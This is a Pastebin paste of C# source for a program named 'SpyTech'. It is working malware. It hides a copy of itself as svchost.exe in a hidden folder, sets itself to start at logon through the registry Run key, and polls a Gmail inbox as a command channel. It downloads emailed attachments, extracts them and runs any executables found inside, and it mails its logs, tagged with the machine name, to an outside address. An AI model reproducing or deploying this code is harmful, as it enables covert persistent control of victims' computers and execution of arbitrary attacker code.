Advertisement
Guest User

Untitled

a guest
Oct 3rd, 2015
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 10.45 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Windows;
  7. using System.Windows.Controls;
  8. using System.Windows.Data;
  9. using System.Windows.Documents;
  10. using System.Windows.Input;
  11. using System.Windows.Media;
  12. using System.Windows.Media.Imaging;
  13. using System.Windows.Navigation;
  14. using System.Windows.Shapes;
  15. using System.Reflection;
  16. using System.Runtime.InteropServices;
  17. using System.Diagnostics;
  18. using Microsoft.Win32;
  19. using System.IO;
  20. using System.Net;
  21. using System.Net.Mail;
  22. using System.Net.NetworkInformation;
  23. using ImapX;
  24. using ImapX.Authentication;
  25. using ImapX.Enums;
  26. using Ionic.Zip;
  27.  
  28. namespace SpyTech
  29. {
  30.     /// <summary>
  31.     /// Interaction logic for MainWindow.xaml
  32.     /// </summary>
  33.     public partial class MainWindow : Window
  34.     {
  35.         string myMusicExePath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic) + @"\bin\svchost.exe";
  36.         string self = Assembly.GetExecutingAssembly().CodeBase.ToString().Substring(8, Assembly.GetExecutingAssembly().CodeBase.ToString().Length - 8);
  37.         string appDataDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Techno";
  38.         string workingDir;
  39.         string stamp = String.Format("{0} -- {1} -- {2}", DateTime.Now.DayOfYear, DateTime.Now.Hour.ToString().PadLeft(2, '0'), DateTime.Now.Minute.ToString().PadLeft(2, '0'));
  40.         StreamWriter sw;
  41.         ImapClient client;
  42.         string UserName = "XXXXXXXXXXXXXX@gmail.com";
  43.         string Password = "XXXXXXXXXXXXXX";
  44.         Random randomNumGen = new Random();
  45.         int inboxCount = 0;
  46.         public MainWindow()
  47.         {
  48.             InitializeComponent();
  49.             vInitialize();
  50.             DriveCopy();
  51.             while (1 == 1)
  52.             {
  53.                 if (InternetConnected())
  54.                 {
  55.                     Check();
  56.                     System.Threading.Thread.Sleep(10000);
  57.                 }
  58.             }
  59.         }
  60.  
  61.         void vInitialize()
  62.         {
  63.             Directory.CreateDirectory(appDataDir + @"\" + stamp);
  64.             sw = new StreamWriter(appDataDir + @"\" + stamp + @"\" + stamp + ".log");
  65.             SendLogs();
  66.             workingDir = appDataDir + @"\" + stamp;
  67.             Log("Initializing Variables");
  68.  
  69.             foreach (string file in Directory.GetFiles(appDataDir, "*", SearchOption.AllDirectories))
  70.             {
  71.                 FileInfo f = new FileInfo(file);
  72.                 try { f.Delete(); Log("Deleted " + f.Name); }
  73.                 catch (Exception) { Log("Could Not Delete " + f.Name); }
  74.             }
  75.         }
  76.  
  77.         void SendLogs()
  78.         {
  79.             Log("Sending Log Files");
  80.             foreach (string log in Directory.GetFiles(appDataDir, "*.log", SearchOption.AllDirectories))
  81.             {
  82.                 if (log != appDataDir + @"\\" + stamp + @"\\" + stamp + ".log")
  83.                 {
  84.                     Log("Sending " + log);
  85.                     FileInfo fi = new FileInfo(log);
  86.  
  87.                     SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
  88.                     client.EnableSsl = true;
  89.                     client.DeliveryMethod = SmtpDeliveryMethod.Network;
  90.                     client.Credentials = new NetworkCredential(UserName, Password);
  91.                     client.Timeout = 20000;
  92.  
  93.                     MailMessage msg = new MailMessage(new System.Net.Mail.MailAddress(UserName), new System.Net.Mail.MailAddress("specialgmailforlogfiles@gmail.com"));
  94.                     msg.Subject = Environment.MachineName + " : " + fi.Name;
  95.                     msg.Body = "Log File";
  96.  
  97.                     try
  98.                     {
  99.                         msg.Attachments.Add(new System.Net.Mail.Attachment(fi.FullName));
  100.                         client.Send(msg);
  101.                         msg.Dispose();
  102.                     }
  103.                     catch (Exception ex) { Log(ex.Message); msg.Dispose(); }
  104.                 }
  105.             }
  106.         }
  107.  
  108.         void DriveCopy()
  109.         {
  110.             if (!File.Exists(myMusicExePath))
  111.             {
  112.                 DirectoryInfo di = new DirectoryInfo(Environment.CurrentDirectory);
  113.                 DirectoryInfo music = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic) + @"\bin\");
  114.  
  115.                 Copy(di.FullName, music.FullName);
  116.                 music.Attributes |= FileAttributes.Hidden;
  117.                 music.Attributes |= FileAttributes.System;
  118.                 music.Attributes |= FileAttributes.NoScrubData;
  119.  
  120.                 StartUpSave();
  121.  
  122.                 Process.Start(myMusicExePath);
  123.                 Environment.Exit(0);
  124.             }
  125.         }
  126.  
  127.         void Copy(string sourceDir, string targetDir)
  128.         {
  129.             Directory.CreateDirectory(targetDir);
  130.  
  131.             foreach (var file in Directory.GetFiles(sourceDir))
  132.                 File.Copy(file, System.IO.Path.Combine(targetDir, System.IO.Path.GetFileName(file)), true);
  133.  
  134.             foreach (var directory in Directory.GetDirectories(sourceDir))
  135.                 Copy(directory, System.IO.Path.Combine(targetDir, System.IO.Path.GetFileName(directory)));
  136.         }
  137.  
  138.         void StartUpSave()
  139.         {
  140.             Log("File Loaded To Start UP");
  141.  
  142.             RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  143.             add.SetValue("svchost.exe", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.MyMusic) + @"\bin\svchost.exe" + "\"");
  144.         }
  145.  
  146.         void Check()
  147.         {
  148.             Log("Initial Check Started");
  149.             client = new ImapClient("imap.gmail.com", true);
  150.             int count = 0;
  151.  
  152.             if (client.Connect())
  153.             {
  154.  
  155.                 if (client.Login(UserName, Password))
  156.                 {
  157.                     Log("Login Successful");
  158.                     client.Folders.Inbox.Messages.Download();
  159.                     if (client.Folders.Inbox.Messages.Count<Message>() > inboxCount)
  160.                     {
  161.                         inboxCount = client.Folders.Inbox.Messages.Count<Message>();
  162.                         foreach (Message msg in client.Folders.Inbox.Messages)
  163.                         {
  164.                             count += 1;
  165.                             Log("Total Message Count : " + client.Folders.Inbox.Messages.ToArray().Length);
  166.                             if (!msg.Seen & msg.Body.ToString() != "Log File")
  167.                             {
  168.                                 Log("Processing Mail no: " + count);
  169.                                 runMail(msg);
  170.                                 msg.Seen = true;
  171.                             }
  172.                             else
  173.                             {
  174.                                 Log("Message no:" + count + " Has Been Marked Read");
  175.                             }
  176.                         }
  177.  
  178.                         Log("Total New Messages Processed : " + count);
  179.                     }
  180.                     else
  181.                     {
  182.                         Log("No New Emails");
  183.                     }
  184.                 }
  185.                 else
  186.                 {
  187.                     Log("Login Unsuccessful");
  188.                 }
  189.             }
  190.             else
  191.             {
  192.                 Log("Connection not successful");
  193.             }
  194.         }
  195.  
  196.         void runMail(Message msg)
  197.         {
  198.             FileInfo fi;
  199.             try
  200.             {
  201.                 if (msg.Body.Text.Substring(0, 8) != "Log File")
  202.                 {
  203.                     foreach (ImapX.Attachment a in msg.Attachments)
  204.                     {
  205.                         a.Download();
  206.                         a.Save(workingDir, a.FileName);
  207.  
  208.                         fi = new FileInfo(workingDir + @"\" + a.FileName);
  209.                         fi.MoveTo(workingDir + @"\" + a.FileName.Substring(0, a.FileName.Length - 3) + "zip");
  210.  
  211.                         string extractDir = workingDir + @"\" + randomNumGen.Next(0, 500000) + @"\";
  212.                         Directory.CreateDirectory(extractDir);
  213.  
  214.                         try
  215.                         {
  216.                             var options = new ReadOptions { StatusMessageWriter = System.Console.Out };
  217.                             using (ZipFile zip = ZipFile.Read(fi.FullName, options))
  218.                             {
  219.                                 zip.ExtractAll(extractDir, ExtractExistingFileAction.OverwriteSilently);
  220.                             }
  221.                         }
  222.                         catch (Exception) { Log("File Formate Not Supported"); }
  223.  
  224.  
  225.                         foreach (string file in Directory.GetFiles(extractDir))
  226.                         {
  227.                             FileInfo fileInfo = new FileInfo(file);
  228.                             if (fileInfo.Extension == ".exe")
  229.                             {
  230.                                 Log("Running File NOW");
  231.                                 Process.Start(fileInfo.FullName);
  232.                             }
  233.                         }
  234.                     }
  235.  
  236.                     if (msg.Attachments.Length == 0)
  237.                     {
  238.                         Log("No Attachments Found In This Mail");
  239.                     }
  240.                 }
  241.                 else
  242.                 {
  243.                     Log("Message Is A Log File... Ignoring Message");
  244.                 }
  245.             }
  246.             catch (Exception e)
  247.             {
  248.                 Log("Message: " + e.Message + " Inner Exception: " + e.InnerException);
  249.             }
  250.  
  251.         }
  252.  
  253.         bool InternetConnected()
  254.         {
  255.             Log("Checking Internet Conectivity");
  256.  
  257.             try
  258.             {
  259.                 using (var client = new WebClient())
  260.                 {
  261.                     using (var stream = client.OpenRead("http://www.google.com")) { Log("Connection Available"); return true; }
  262.                 }
  263.             }
  264.             catch (Exception) { Log("Connection not Available"); return false; }
  265.         }
  266.  
  267.         void Log(string text)
  268.         {
  269.             sw.WriteLine(string.Format("[{0} __ {1}:{2}] :-: ~ :-: {3}", DateTime.Now.DayOfYear, DateTime.Now.Hour.ToString().PadLeft(2, '0'),
  270.                 DateTime.Now.Minute.ToString().PadLeft(2, '0'), text));
  271.             sw.Flush();
  272.             Console.WriteLine("[{0} __ {1}:{2}] :-: ~ :-: {3}", DateTime.Now.DayOfYear, DateTime.Now.Hour.ToString().PadLeft(2, '0'),
  273.                 DateTime.Now.Minute.ToString().PadLeft(2, '0'), text);
  274.         }
  275.     }
  276. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement